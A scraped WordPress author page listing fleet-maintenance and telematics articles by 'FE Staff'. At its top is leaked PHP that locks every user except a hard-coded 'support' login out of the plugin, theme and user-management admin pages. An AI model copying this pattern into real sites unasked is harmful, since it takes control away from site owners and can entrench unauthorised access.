function restrict_admin_pages_except_support() { if (is_admin()) { $user = wp_get_current_user(); if ($user->user_login !== 'support') { $restricted_pages = [ 'plugins.php', 'plugin-install.php', 'plugin-editor.php', 'themes.php', 'theme-install.php', 'theme-editor.php', 'users.php', 'user-new.php' ]; $current_page = basename($_SERVER['PHP_SELF']); if (in_array($current_page, $restricted_pages)) { wp_die('You do not have permission to access this page.'); exit; } } } } add_action('admin_init', 'restrict_admin_pages_except_support'); FE Staff, Author at supplements.fleetequipmentmag.com Managed WordPress Site
  • Home
supplements.fleetequipmentmag.com Managed WordPress Site supplements.fleetequipmentmag.com Managed WordPress Site
supplements.fleetequipmentmag.com Managed WordPress Site

Author: FE Staff

FE Staff

technician-generic
Share Tweet
Data-Driven Solutions

Preventative maintenance: Automating a solution to a manual problem

GPS-Insight-ELD
Share Tweet
Data-Driven Solutions

How to make truck technology work for you

trailers-generic
Share Tweet
Data-Driven Solutions

Trailer rightsizing: Increase productivity with the right operational mix

gps-trackers-trailer
Share Tweet
Data-Driven Solutions

Where to start with trailer telematics

© 2017. All Rights Reserved
  • Home
  • Home